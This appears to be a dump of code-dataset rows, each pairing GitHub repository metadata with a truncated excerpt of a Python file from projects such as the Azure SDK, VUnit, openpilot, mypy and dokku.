6fd3bb35b2d0d5bfdd48615828f6272c65dc2a64 | 2,839 | py | Python | sdk/servicefabric/azure-mgmt-servicefabric/azure/mgmt/servicefabric/models/application_type_version_resource.py | vchske/azure-sdk-for-python | 6383ed3676b7355af7be394562b126209961ec13 | [
"MIT"
] | null | null | null | sdk/servicefabric/azure-mgmt-servicefabric/azure/mgmt/servicefabric/models/application_type_version_resource.py | vchske/azure-sdk-for-python | 6383ed3676b7355af7be394562b126209961ec13 | [
"MIT"
] | 1 | 2019-06-04T18:12:16.000Z | 2019-06-04T18:12:16.000Z | sdk/servicefabric/azure-mgmt-servicefabric/azure/mgmt/servicefabric/models/application_type_version_resource.py | vchske/azure-sdk-for-python | 6383ed3676b7355af7be394562b126209961ec13 | [
"MIT"
] | 1 | 2019-06-17T22:18:23.000Z | 2019-06-17T22:18:23.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... | 38.890411 | 94 | 0.620993 |
efad26f0f718db3c7a62292d5152445291f69361 | 436 | py | Python | zucchini/penalizers/__init__.py | zucchini/zucchini | eedd3d8020ec3e80b7c218785379ceb32bc05e38 | [
"Apache-2.0"
] | 3 | 2018-03-27T18:09:54.000Z | 2021-04-08T03:03:55.000Z | zucchini/penalizers/__init__.py | zucchini/zucchini | eedd3d8020ec3e80b7c218785379ceb32bc05e38 | [
"Apache-2.0"
] | 337 | 2017-12-17T13:22:26.000Z | 2022-03-28T02:05:09.000Z | zucchini/penalizers/__init__.py | zucchini/zucchini | eedd3d8020ec3e80b7c218785379ceb32bc05e38 | [
"Apache-2.0"
] | 7 | 2018-01-10T18:46:26.000Z | 2020-10-17T17:47:07.000Z | from .exceptions import InvalidPenalizerConfigError
from .penalizer_interface import PenalizerInterface
from .late_penalizer import LatePenalizer
from .checkoff_penalizer import CheckoffPenalizer
__all__ = ['InvalidPenalizerConfigError', 'PenalizerInterface',
'LatePenalizer', 'CheckoffPenalizer']
_PENALIZE... | 31.142857 | 65 | 0.807339 |
781f28be0f777f53114a912b4a2346a8aebf8484 | 9,917 | py | Python | tests/acceptance/test_artificial.py | acconeer/vunit | 88f0d9ebb8fb9c3145ab5098604c1e7ddc53659d | [
"Artistic-2.0"
] | 60 | 2015-01-12T14:52:22.000Z | 2021-11-17T17:11:21.000Z | tests/acceptance/test_artificial.py | acconeer/vunit | 88f0d9ebb8fb9c3145ab5098604c1e7ddc53659d | [
"Artistic-2.0"
] | 84 | 2015-01-14T21:53:29.000Z | 2016-01-24T13:07:03.000Z | tests/acceptance/test_artificial.py | LarsAsplund/vunit | 40135d936f0e3d6a77bb2e360b0611c2e70721a9 | [
"Artistic-2.0"
] | 28 | 2015-02-17T12:37:06.000Z | 2020-03-09T01:02:54.000Z | # This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
#
# Copyright (c) 2014-2019, Lars Asplund lars.anders.asplund@gmail.com
"""
Acceptance test of VUnit end to end function... | 37.996169 | 88 | 0.615811 |
5e28cdfc9342b1edf54d326e834ba22a30b4da95 | 3,758 | py | Python | utils/muad_dataset.py | DerrickXuNu/muad | 559bf91898745b2ea72ba888e0f55f7228ac85b4 | [
"BSD-2-Clause"
] | null | null | null | utils/muad_dataset.py | DerrickXuNu/muad | 559bf91898745b2ea72ba888e0f55f7228ac85b4 | [
"BSD-2-Clause"
] | null | null | null | utils/muad_dataset.py | DerrickXuNu/muad | 559bf91898745b2ea72ba888e0f55f7228ac85b4 | [
"BSD-2-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Customized dataset class for muad
"""
import os
import sys
import pandas as pd
import torch.multiprocessing as multiprocessing
from img2vec_pytorch import Img2Vec
from PIL import Image
from torch.utils.data import Dataset, DataLoader
from models import common
class MuadDataset(Dataset):
... | 34.796296 | 101 | 0.641831 |
b7310b5ad2a5d544d6876f7fdf394f4669783114 | 95,521 | py | Python | selfdrive/car/toyota/values.py | AnthonyMaiorani/dragonpilot | d3d3822b0ac6927da8c548620c5cfabf70f80dd2 | [
"MIT"
] | null | null | null | selfdrive/car/toyota/values.py | AnthonyMaiorani/dragonpilot | d3d3822b0ac6927da8c548620c5cfabf70f80dd2 | [
"MIT"
] | null | null | null | selfdrive/car/toyota/values.py | AnthonyMaiorani/dragonpilot | d3d3822b0ac6927da8c548620c5cfabf70f80dd2 | [
"MIT"
] | null | null | null | # flake8: noqa
from cereal import car
from selfdrive.car import dbc_dict
from selfdrive.config import Conversions as CV
Ecu = car.CarParams.Ecu
MIN_ACC_SPEED = 19. * CV.MPH_TO_MS
PEDAL_HYST_GAP = 3. * CV.MPH_TO_MS
PEDAL_SCALE = 3.0
class CarControllerParams:
ACCEL_HYST_GAP = 0.06 # don't change accel command for... | 56.024047 | 1,108 | 0.61398 |
02f2c1389c2e146d15cfc51717624b2a1d2a80ff | 1,868 | py | Python | catalyst/contrib/utils/cv/tests/test_image.py | YaLTeR/catalyst | 4b875b50b3c63ac2dac1f19399af0c016dfb4e2f | [
"Apache-2.0"
] | null | null | null | catalyst/contrib/utils/cv/tests/test_image.py | YaLTeR/catalyst | 4b875b50b3c63ac2dac1f19399af0c016dfb4e2f | [
"Apache-2.0"
] | null | null | null | catalyst/contrib/utils/cv/tests/test_image.py | YaLTeR/catalyst | 4b875b50b3c63ac2dac1f19399af0c016dfb4e2f | [
"Apache-2.0"
] | null | null | null | import numpy as np
import torch
from catalyst import utils
from catalyst.contrib.data.dataset.transforms import normalize, to_tensor
from catalyst.contrib.utils.cv.tensor import _IMAGENET_MEAN, _IMAGENET_STD
def test_imread():
"""Tests ``imread`` functionality."""
jpg_rgb_uri = (
"https://raw.github... | 31.133333 | 78 | 0.667024 |
9b89144e7685390d685dd39f2102a1506ff1a836 | 5,527 | py | Python | mypy/fscache.py | Wintakeb/mypy | fc4ad4db1a0e070d719e0844d35ef4f144cc24e0 | [
"PSF-2.0"
] | null | null | null | mypy/fscache.py | Wintakeb/mypy | fc4ad4db1a0e070d719e0844d35ef4f144cc24e0 | [
"PSF-2.0"
] | null | null | null | mypy/fscache.py | Wintakeb/mypy | fc4ad4db1a0e070d719e0844d35ef4f144cc24e0 | [
"PSF-2.0"
] | null | null | null | """Interface for accessing the file system with automatic caching.
The idea is to cache the results of any file system state reads during
a single transaction. This has two main benefits:
* This avoids redundant syscalls, as we won't perform the same OS
operations multiple times.
* This makes it easier to reason a... | 33.295181 | 80 | 0.621856 |
50aeda18f6c2a2c1fe079c999d7bd4922504754c | 947 | py | Python | mysite/manage.py | codinginbrazil/django | 9eef7d7e54cb3929dd07b544ba28b6498a85902f | [
"MIT"
] | null | null | null | mysite/manage.py | codinginbrazil/django | 9eef7d7e54cb3929dd07b544ba28b6498a85902f | [
"MIT"
] | null | null | null | mysite/manage.py | codinginbrazil/django | 9eef7d7e54cb3929dd07b544ba28b6498a85902f | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""Django's command-line utility for administrative tasks.
- A command-line utility that lets you interact with this Django project in various ways
- Um utilitário de linha de comando
que permite a você interagir com esse projeto Django de várias maneiras
- [docs](https://docs... | 33.821429 | 92 | 0.692714 |
ca94dc11a5fab3e6f330b9522968053f32d60818 | 3,251 | py | Python | tests/test_registryclient.py | 3r1co/registry-frontend | 2b5ae0d0eeb4fc0939e690cb3a7063bbae2b8209 | [
"MIT"
] | null | null | null | tests/test_registryclient.py | 3r1co/registry-frontend | 2b5ae0d0eeb4fc0939e690cb3a7063bbae2b8209 | [
"MIT"
] | null | null | null | tests/test_registryclient.py | 3r1co/registry-frontend | 2b5ae0d0eeb4fc0939e690cb3a7063bbae2b8209 | [
"MIT"
] | 3 | 2019-01-27T13:47:00.000Z | 2019-10-26T09:06:58.000Z | import os
import aiohttp
import asyncio
import pytest
import json
from aioresponses import aioresponses
from registryclient import RegistryClient
@pytest.fixture(scope = 'module')
def global_data():
return {'registry': "http://registry",
'repository': "test/alpine",
'tag': "latest"}
@pytes... | 44.534247 | 140 | 0.690864 |
9d3d0bbe6dbc3c4c015561a0312f83254acef779 | 696 | py | Python | parser.py | adityag6994/quad_arrt | 4235b3985fb5327cffaa136929859bac124ee934 | [
"BSD-2-Clause"
] | 1 | 2021-03-02T08:45:41.000Z | 2021-03-02T08:45:41.000Z | parser.py | adityag6994/quad_arrt | 4235b3985fb5327cffaa136929859bac124ee934 | [
"BSD-2-Clause"
] | null | null | null | parser.py | adityag6994/quad_arrt | 4235b3985fb5327cffaa136929859bac124ee934 | [
"BSD-2-Clause"
] | 3 | 2016-04-02T22:09:09.000Z | 2016-08-22T08:21:24.000Z | # coding=utf-8
from __future__ import division
from __future__ import with_statement # for python 2.5
import roslib
import addict
roslib.load_manifest("rosparam")
import rosparam
__author__ = 'Aijun Bai'
class Yaml(addict.Dict):
def __init__(self, *args, **kwargs):
super(Yaml, self).__init__(*args,... | 21.75 | 73 | 0.659483 |
1e66fe05d540d695bb1544449dd773049c1628c5 | 13,084 | py | Python | contrib/dokku-installer.py | tamanobi/dokku | 5579fe00066e6caf1671506f5d73db7fcc61f4e0 | [
"MIT"
] | null | null | null | contrib/dokku-installer.py | tamanobi/dokku | 5579fe00066e6caf1671506f5d73db7fcc61f4e0 | [
"MIT"
] | null | null | null | contrib/dokku-installer.py | tamanobi/dokku | 5579fe00066e6caf1671506f5d73db7fcc61f4e0 | [
"MIT"
] | null | null | null | #!/usr/bin/env python2.7
import cgi
import json
import os
import re
import SimpleHTTPServer
import SocketServer
import subprocess
import sys
import threading
VERSION = 'v0.14.2'
hostname = ''
try:
command = "bash -c '[[ $(dig +short $HOSTNAME) ]] && echo $HOSTNAME || wget -q -O - icanhazip.com'"
hostname = s... | 36.856338 | 418 | 0.584684 |
964c9403ed105e8e96ba49e698465a5a11d9db10 | 1,681 | py | Python | SocialAPI/TwitterAPI/RecolectorTweetsUsersStream.py | garnachod/ConcursoPolicia | f123595afc697ddfa862114a228d7351e2f8fd73 | [
"Apache-2.0"
] | null | null | null | SocialAPI/TwitterAPI/RecolectorTweetsUsersStream.py | garnachod/ConcursoPolicia | f123595afc697ddfa862114a228d7351e2f8fd73 | [
"Apache-2.0"
] | null | null | null | SocialAPI/TwitterAPI/RecolectorTweetsUsersStream.py | garnachod/ConcursoPolicia | f123595afc697ddfa862114a228d7351e2f8fd73 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import os
import sys
#lib_path = os.path.abspath('../../')
#sys.path.append(lib_path)
from DBbridge.EscritorTweetsCassandra import EscritorTweetsCassandra
from SocialAPI.Recolector import Recolector
from twython import TwythonStreamer
from ApoyoTwitter import ApoyoTwitter
from getAuthorizations... | 26.265625 | 95 | 0.751933 |
8d13411d8e50051701e43d3aaf585808f74fca5d | 1,174 | py | Python | src/remove_comments.py | tanthanadon/senior | 89fc24889b34860982b551e5ea5e0d3550505f65 | [
"MIT"
] | null | null | null | src/remove_comments.py | tanthanadon/senior | 89fc24889b34860982b551e5ea5e0d3550505f65 | [
"MIT"
] | 5 | 2020-03-04T13:49:10.000Z | 2020-03-20T04:06:23.000Z | src/remove_comments.py | tanthanadon/senior | 89fc24889b34860982b551e5ea5e0d3550505f65 | [
"MIT"
] | null | null | null | import sys, token, tokenize
def do_file(fname):
""" Run on just one file.
"""
source = open(fname)
mod = open(fname + ",strip", "w")
prev_toktype = token.INDENT
first_line = None
last_lineno = -1
last_col = 0
tokgen = tokenize.generate_tokens(source.readline)
for toktype, tte... | 29.35 | 74 | 0.526405 |
19caab646cb8b36a1efe2dca2e9c4e8733305afc | 269 | py | Python | src/computational_design_and_fabrication/__init__.py | augmentedfabricationlab/computational_design_and_fabrication | 3be054be8ff880391a2385277f0b8f2f0ef57786 | [
"MIT"
] | null | null | null | src/computational_design_and_fabrication/__init__.py | augmentedfabricationlab/computational_design_and_fabrication | 3be054be8ff880391a2385277f0b8f2f0ef57786 | [
"MIT"
] | null | null | null | src/computational_design_and_fabrication/__init__.py | augmentedfabricationlab/computational_design_and_fabrication | 3be054be8ff880391a2385277f0b8f2f0ef57786 | [
"MIT"
] | null | null | null | """
Intro to project ...
Setup
=====
In order to use this library, ...
Main concepts
=============
Describe typical classes found in project
.. autoclass:: SampleClassName
:members:
"""
from .wall import Wall_ProjectTitle
__all__ = ['Wall_ProjectTitle']
| 10.346154 | 41 | 0.654275 |
5da357503b50f6ae9c8b0bdd4781e9f4d01f07ea | 2,949 | py | Python | silvaengine_resource/tests/test_silvaengine_resource.py | ideabosque/silvaengine_resouces | f67788008f845b61583907a6c539fde4af758266 | [
"MIT"
] | null | null | null | silvaengine_resource/tests/test_silvaengine_resource.py | ideabosque/silvaengine_resouces | f67788008f845b61583907a6c539fde4af758266 | [
"MIT"
] | null | null | null | silvaengine_resource/tests/test_silvaengine_resource.py | ideabosque/silvaengine_resouces | f67788008f845b61583907a6c539fde4af758266 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import print_function
__author__ = "bl"
import logging, sys, unittest, os
from silvaengine_utility import Utility
from dotenv import load_dotenv
load_dotenv()
setting = {
"region_name": os.getenv("region_name"),
"aws_access_key_id": os.getenv("aws_ac... | 28.355769 | 79 | 0.47372 |
e1dbb89ce271de97647d3494aca05338270e11cc | 13,642 | py | Python | aries_cloudagent/messaging/credentials/routes.py | Patrik-Stas/aries-cloudagent-python | 28f4b59b11db72568084070e4e6c1576c298f03d | [
"Apache-2.0"
] | null | null | null | aries_cloudagent/messaging/credentials/routes.py | Patrik-Stas/aries-cloudagent-python | 28f4b59b11db72568084070e4e6c1576c298f03d | [
"Apache-2.0"
] | null | null | null | aries_cloudagent/messaging/credentials/routes.py | Patrik-Stas/aries-cloudagent-python | 28f4b59b11db72568084070e4e6c1576c298f03d | [
"Apache-2.0"
] | null | null | null | """Connection handling admin routes."""
import asyncio
import json
from aiohttp import web
from aiohttp_apispec import docs, request_schema, response_schema
from marshmallow import fields, Schema
from ...holder.base import BaseHolder
from ...storage.error import StorageNotFoundError
from ...wallet.error import Walle... | 30.181416 | 88 | 0.718077 |
b4201caa7eb7df7755c46ac5e63f4c7a7c0390f7 | 4,169 | py | Python | benchmark/startQiskit_QC2414.py | UCLA-SEAL/QDiff | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | [
"BSD-3-Clause"
] | null | null | null | benchmark/startQiskit_QC2414.py | UCLA-SEAL/QDiff | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | [
"BSD-3-Clause"
] | null | null | null | benchmark/startQiskit_QC2414.py | UCLA-SEAL/QDiff | d968cbc47fe926b7f88b4adf10490f1edd6f8819 | [
"BSD-3-Clause"
] | null | null | null | # qubit number=4
# total number=32
import cirq
import qiskit
from qiskit import IBMQ
from qiskit.providers.ibmq import least_busy
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
from qiskit import BasicAer, execute, transpile
from pprint import pprint
from qiskit.test.mock import FakeVigo
from ma... | 34.741667 | 165 | 0.654354 |
33fb618fc0715ad0fd7981934de9f8ae5738ee78 | 90,084 | py | Python | src/rbfopt/rbfopt_test_functions.py | aerometu/rbfopt | 4aba6186aa7d49c10551601d77e2484f88ffee39 | [
"BSD-3-Clause"
] | 1 | 2020-03-07T08:26:13.000Z | 2020-03-07T08:26:13.000Z | src/rbfopt/rbfopt_test_functions.py | aerometu/rbfopt | 4aba6186aa7d49c10551601d77e2484f88ffee39 | [
"BSD-3-Clause"
] | null | null | null | src/rbfopt/rbfopt_test_functions.py | aerometu/rbfopt | 4aba6186aa7d49c10551601d77e2484f88ffee39 | [
"BSD-3-Clause"
] | null | null | null | """Test functions.
This module implements several known mathematical functions, that can
be used to test RBFOpt.
Licensed under Revised BSD license, see LICENSE.
(C) Copyright Singapore University of Technology and Design 2014.
(C) Copyright International Business Machines Corporation 2017.
"""
from __future__ impo... | 42.233474 | 78 | 0.516163 |
a286252639129bdab6ca82a5e6f74d5677e44821 | 14,641 | py | Python | starthinker_ui/recipe/models.py | viohman/starthinker | 20bd2d7fd1e541eb8a2c9b7159941f667e22e38e | [
"Apache-2.0"
] | null | null | null | starthinker_ui/recipe/models.py | viohman/starthinker | 20bd2d7fd1e541eb8a2c9b7159941f667e22e38e | [
"Apache-2.0"
] | null | null | null | starthinker_ui/recipe/models.py | viohman/starthinker | 20bd2d7fd1e541eb8a2c9b7159941f667e22e38e | [
"Apache-2.0"
] | null | null | null | ###########################################################################
#
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/l... | 32.827354 | 111 | 0.636432 |
d38fcc68a70fa02b765cd12c9bfe6605a585f3a2 | 2,491 | py | Python | main.py | chocks/subreddit-sentiment-analysis | 7f9c3698e3ae5d6515960fdfa59fa86a08387194 | [
"MIT"
] | null | null | null | main.py | chocks/subreddit-sentiment-analysis | 7f9c3698e3ae5d6515960fdfa59fa86a08387194 | [
"MIT"
] | null | null | null | main.py | chocks/subreddit-sentiment-analysis | 7f9c3698e3ae5d6515960fdfa59fa86a08387194 | [
"MIT"
] | null | null | null | """
A simple command line utility to do sentiment analysis on a sub-reddit
This tries to predict the total positive, negative and neutral posts in a given time frame.
NOTE: This does not do apply advanced learning models but relies on the text-processing service for the prediction &
is intended to be for educational pu... | 31.935897 | 116 | 0.602971 |
2592a26c12b2a08e89b0f99c9b576b1ee70ff7c8 | 1,401 | py | Python | ee/core/models.py | rjdp/Easynginedemoplugin | 9b9e5caa29630fae3679fb86018cdaa477f1e8c9 | [
"MIT"
] | 1 | 2016-08-01T18:52:02.000Z | 2016-08-01T18:52:02.000Z | ee/core/models.py | rjdp/Easynginedemoplugin | 9b9e5caa29630fae3679fb86018cdaa477f1e8c9 | [
"MIT"
] | null | null | null | ee/core/models.py | rjdp/Easynginedemoplugin | 9b9e5caa29630fae3679fb86018cdaa477f1e8c9 | [
"MIT"
] | null | null | null | from sqlalchemy import Column, DateTime, String, Integer, Boolean, func
from ee.core.database import Base
class SiteDB(Base):
"""
Databse model for site table
"""
__tablename__ = 'sites'
id = Column(Integer, primary_key=True)
sitename = Column(String, unique=True)
site_type = Column(S... | 31.840909 | 76 | 0.652391 |
753ac9c959b5fa53fe76f8208647742b3e449af0 | 2,151 | py | Python | Src/DatasetToolbox.py | mortarsynth/ML_task1 | a929dbf84c4c07194ad6cc4f3536b6ddd83a2644 | [
"MIT"
] | null | null | null | Src/DatasetToolbox.py | mortarsynth/ML_task1 | a929dbf84c4c07194ad6cc4f3536b6ddd83a2644 | [
"MIT"
] | null | null | null | Src/DatasetToolbox.py | mortarsynth/ML_task1 | a929dbf84c4c07194ad6cc4f3536b6ddd83a2644 | [
"MIT"
] | null | null | null | import numpy as np
def shuffle(dataset, labels):
dataset_size = labels.shape[0]
p = np.random.permutation(dataset_size)
dataset = dataset[p, :]
labels = labels[p]
return dataset, labels
def reduceByQuant(dataset, labels, quantizer=1): # make its size divisible by batch_size*num_folds
dat... | 34.142857 | 99 | 0.593212 |
e7f58361a55aa3cf12e372f9c234e78d6c0537fb | 1,781 | py | Python | setup.py | paulross/typin | 113224d868c95e93b9ae724b0a9d9cfe3e3c78f8 | [
"MIT"
] | 7 | 2017-11-12T21:29:18.000Z | 2019-01-30T01:50:47.000Z | setup.py | paulross/typin | 113224d868c95e93b9ae724b0a9d9cfe3e3c78f8 | [
"MIT"
] | null | null | null | setup.py | paulross/typin | 113224d868c95e93b9ae724b0a9d9cfe3e3c78f8 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""The setup script."""
from setuptools import setup, find_packages
with open('README.rst') as readme_file:
readme = readme_file.read()
with open('HISTORY.rst') as history_file:
history = history_file.read()
requirements = [
# 'Click>=6.0',
# TODO: put ... | 26.984848 | 78 | 0.633914 |
f42b6cfba35a973318507b35426d1972fb4b1221 | 1,471 | py | Python | bin/pzem_004t.py | kepon85/PvMonit | 14d3e9dc8711b5721db76543dde3089a52e73fc2 | [
"Beerware"
] | 16 | 2016-11-16T08:56:14.000Z | 2021-04-30T02:49:26.000Z | bin/pzem_004t.py | kepon85/PvMonit | 14d3e9dc8711b5721db76543dde3089a52e73fc2 | [
"Beerware"
] | 9 | 2017-05-15T12:20:48.000Z | 2021-03-13T17:45:12.000Z | bin/pzem_004t.py | kepon85/PvMonit | 14d3e9dc8711b5721db76543dde3089a52e73fc2 | [
"Beerware"
] | 9 | 2017-01-29T10:44:10.000Z | 2021-12-06T08:52:16.000Z | #!/usr/bin/python3
# Contrib de akoirium
import pymodbus
import serial
import math
from pymodbus.pdu import ModbusRequest
from pymodbus.client.sync import ModbusSerialClient as ModbusClient
from pymodbus.transaction import ModbusRtuFramer
def calc (registers, factor):
format = '%%0.%df' % int (math.ceil (math... | 34.209302 | 118 | 0.575799 |
dabd5ac218139076fbbb339b1dada932f1bc8c60 | 548 | py | Python | queries/q12.py | csruiliu/tpch-pyspark | ec707ddd8a5e917b08e0ee1ce320b826fa6aa977 | [
"MIT"
] | null | null | null | queries/q12.py | csruiliu/tpch-pyspark | ec707ddd8a5e917b08e0ee1ce320b826fa6aa977 | [
"MIT"
] | null | null | null | queries/q12.py | csruiliu/tpch-pyspark | ec707ddd8a5e917b08e0ee1ce320b826fa6aa977 | [
"MIT"
] | null | null | null | query = """
SELECT L_SHIPMODE,
sum(CASE WHEN O_ORDERPRIORITY='1-URGENT'
OR O_ORDERPRIORITY='2-HIGH'
THEN 1 ELSE 0 END) AS HIGH_LINE_COUNT,
sum(CASE WHEN O_ORDERPRIORITY <> '1-URGENT'
AND O_ORDERPRIORITY <> '2-HIGH'
THEN 1 ELSE 0 END) AS LOW_LINE_COUNT
FROM orders,
lineitem
WHERE O_ORDERKEY = L_ORDE... | 27.4 | 46 | 0.715328 |
9ab1d72fffa2ff7e039972ae8681cb2ad04ed903 | 434 | py | Python | rvpvp/isa/rvf/fcvt_w_s.py | ultrafive/riscv-pvp | 843e38422c3d545352b955764927d5e7847e5453 | [
"Unlicense"
] | 5 | 2021-05-10T09:57:00.000Z | 2021-10-05T14:39:20.000Z | rvpvp/isa/rvf/fcvt_w_s.py | ultrafive/riscv-pvp | 843e38422c3d545352b955764927d5e7847e5453 | [
"Unlicense"
] | null | null | null | rvpvp/isa/rvf/fcvt_w_s.py | ultrafive/riscv-pvp | 843e38422c3d545352b955764927d5e7847e5453 | [
"Unlicense"
] | 1 | 2021-05-14T20:24:11.000Z | 2021-05-14T20:24:11.000Z | from ...isa.inst import *
import numpy as np
class Fcvt_w_s(Inst):
name = 'fcvt.w.s'
def golden(self):
if 'val1' in self.keys():
if self['val1'] < -(1<<31) or np.isneginf(self['val1']):
return -(1<<31)
if self['val1'] > ((1<<31)-1) or np.isposinf(self[... | 28.933333 | 97 | 0.479263 |
f2aba68d8420297e59b9485081be29377f2557b4 | 11,712 | py | Python | lib/id3c/labelmaker.py | sonali-mhihim/id3c | 1e3967d6c24e9cadb34cae1c5e1e79415a2250dc | [
"MIT"
] | 1 | 2021-03-19T15:18:33.000Z | 2021-03-19T15:18:33.000Z | lib/id3c/labelmaker.py | sonali-mhihim/id3c | 1e3967d6c24e9cadb34cae1c5e1e79415a2250dc | [
"MIT"
] | null | null | null | lib/id3c/labelmaker.py | sonali-mhihim/id3c | 1e3967d6c24e9cadb34cae1c5e1e79415a2250dc | [
"MIT"
] | null | null | null | """
Make physical barcode labels for identifiers.
"""
import logging
import json
import os
import requests
from itertools import chain
from typing import Iterable
LOG = logging.getLogger(__name__)
DEFAULT_LABEL_API = os.environ.get("LABEL_API") \
or "https://backoffice.seattleflu.org/labels"
class... | 30.420779 | 106 | 0.691428 |
07c958bce6304a7844f694ae39cd81051df5b0a8 | 666 | py | Python | lib/graph.py | psobot/SampleScanner | a95f694ad326bf0c7dda580f62dd38767c0a9754 | [
"MIT"
] | 55 | 2017-04-12T15:32:42.000Z | 2022-03-19T04:23:47.000Z | lib/graph.py | nandoflorestan/SampleScanner | 9eced0c52759415229e454f1e9cf788cf1af3d7f | [
"MIT"
] | 7 | 2017-04-14T12:10:32.000Z | 2021-10-15T11:43:59.000Z | lib/graph.py | psobot/SampleScanner | a95f694ad326bf0c7dda580f62dd38767c0a9754 | [
"MIT"
] | 9 | 2017-04-13T18:59:45.000Z | 2021-04-18T13:53:28.000Z | import os
import csv
import sys
import numpy
import itertools
import traceback
from tqdm import tqdm
from tabulate import tabulate
from wavio import read_wave_file
import matplotlib.pyplot as plt
sampling_rate = 48000.0
assume_stereo_frequency_match = True
CHUNK_SIZE = 2048
def process_all(start, stop, *files):
... | 20.181818 | 46 | 0.689189 |
bdf5e3577fafff34a0456f07d01fe77a6ed59e46 | 5,422 | py | Python | tests/test_lookuptable.py | Bam4d/neon | 87ee86a5129a45f0ebbb4bb559296de935208fc4 | [
"Apache-2.0"
] | null | null | null | tests/test_lookuptable.py | Bam4d/neon | 87ee86a5129a45f0ebbb4bb559296de935208fc4 | [
"Apache-2.0"
] | null | null | null | tests/test_lookuptable.py | Bam4d/neon | 87ee86a5129a45f0ebbb4bb559296de935208fc4 | [
"Apache-2.0"
] | 2 | 2018-04-04T17:13:00.000Z | 2018-04-17T21:15:24.000Z | # ----------------------------------------------------------------------------
# Copyright 2015 Nervana Systems Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.o... | 32.662651 | 78 | 0.635006 |
01ac1b4158e2b28a350b3688a2b767cd3fb99a18 | 2,661 | py | Python | py_wake/tests/test_sites/test_shear_models.py | aemoser/PyWake | 889a2c10882195af21339e9bcf2ede0db9b58319 | [
"MIT"
] | null | null | null | py_wake/tests/test_sites/test_shear_models.py | aemoser/PyWake | 889a2c10882195af21339e9bcf2ede0db9b58319 | [
"MIT"
] | null | null | null | py_wake/tests/test_sites/test_shear_models.py | aemoser/PyWake | 889a2c10882195af21339e9bcf2ede0db9b58319 | [
"MIT"
] | null | null | null | from py_wake.site.shear import PowerShear, LogShear
import numpy as np
from py_wake.tests import npt
from py_wake.site._site import UniformSite
import xarray as xr
import matplotlib.pyplot as plt
def test_power_shear():
h_lst = np.arange(10, 100, 10)
site = UniformSite([1], .1, shear=PowerShear(70, alpha=[.1,... | 36.452055 | 94 | 0.57159 |
e2deddb0087b884af47b8979246992b8d05ce7b5 | 556 | py | Python | problems/16. Merge Sorted Array.py | mr-vaibh/Python-200days-leetcode | 7d0b4c15f91ef1384fb41a967d61cbc508cac034 | [
"MIT"
] | null | null | null | problems/16. Merge Sorted Array.py | mr-vaibh/Python-200days-leetcode | 7d0b4c15f91ef1384fb41a967d61cbc508cac034 | [
"MIT"
] | null | null | null | problems/16. Merge Sorted Array.py | mr-vaibh/Python-200days-leetcode | 7d0b4c15f91ef1384fb41a967d61cbc508cac034 | [
"MIT"
] | null | null | null | def merge(nums1, m, nums2, n):
if n == 0:
return
p = m - 1
q = n - 1
r = m + n - 1
while p != -1 and q != -1:
if nums1[p] >= nums2[q]:
nums1[r] = nums1[p]
p -= 1
else:
nums1[r] = nums2[q]
q -= 1
r -= 1
if p != -1:
... | 18.533333 | 51 | 0.419065 |
69fde923b8233178ec997288019b68b56f88a1f2 | 3,398 | py | Python | Biljne vrste/models.py | toni4848/biljnevrste_repo | 8d48a75c67a0208ddad1be78284d653fb2303c94 | [
"MIT"
] | null | null | null | Biljne vrste/models.py | toni4848/biljnevrste_repo | 8d48a75c67a0208ddad1be78284d653fb2303c94 | [
"MIT"
] | null | null | null | Biljne vrste/models.py | toni4848/biljnevrste_repo | 8d48a75c67a0208ddad1be78284d653fb2303c94 | [
"MIT"
] | null | null | null | from django.db import models
# Create your models here.
class BiljnaVrsta(models.Model):
ID_biljne_vrste = models.AutoField(primary_key=True)
hrvatski_naziv = models.CharField(max_length=100)
latinski_naziv = models.CharField(max_length=100)
sinonim_vrste = models.CharField(max_length=100)
opis_vrste = mo... | 23.929577 | 80 | 0.74691 |
7ba5c274428c5bc4978fd8ed09947c7298e3964b | 506 | py | Python | nahamconctf2020/shifts_ahoy/exploit.py | nhtri2003gmail/ctf-write-ups | 7e969c47027c39b614e10739ae3a953eed17dfa3 | [
"MIT"
] | 101 | 2020-03-09T17:40:47.000Z | 2022-03-31T23:26:55.000Z | nahamconctf2020/shifts_ahoy/exploit.py | nhtri2003gmail/ctf-write-ups | 7e969c47027c39b614e10739ae3a953eed17dfa3 | [
"MIT"
] | 1 | 2021-11-09T13:39:40.000Z | 2021-11-10T19:15:04.000Z | nahamconctf2020/shifts_ahoy/exploit.py | datajerk/ctf-write-ups | 1bc4ecc63a59de7d924c7214b1ce467801792da0 | [
"MIT"
] | 31 | 2020-05-27T12:29:50.000Z | 2022-03-31T23:23:32.000Z | #!/usr/bin/python3
from pwn import *
#p = process('./shifts-ahoy')
p = remote('jh2i.com', 50015)
p.sendlineafter('> ','1')
p.recvuntil('Enter the message: ')
binary = ELF('shifts-ahoy')
context.update(arch='amd64',os='linux')
shellcode = asm(shellcraft.sh())
jmp_r15 = list(binary.search(asm('jmp r15')))[0]
print("j... | 22 | 61 | 0.658103 |
d4a6721aa066faca54e32331dcf709004b778d34 | 148 | py | Python | src/__init__.py | dpyro/heapwrap | 9cbf03edc19fd247cecc7a754c9c61221649f8b2 | [
"MIT"
] | null | null | null | src/__init__.py | dpyro/heapwrap | 9cbf03edc19fd247cecc7a754c9c61221649f8b2 | [
"MIT"
] | null | null | null | src/__init__.py | dpyro/heapwrap | 9cbf03edc19fd247cecc7a754c9c61221649f8b2 | [
"MIT"
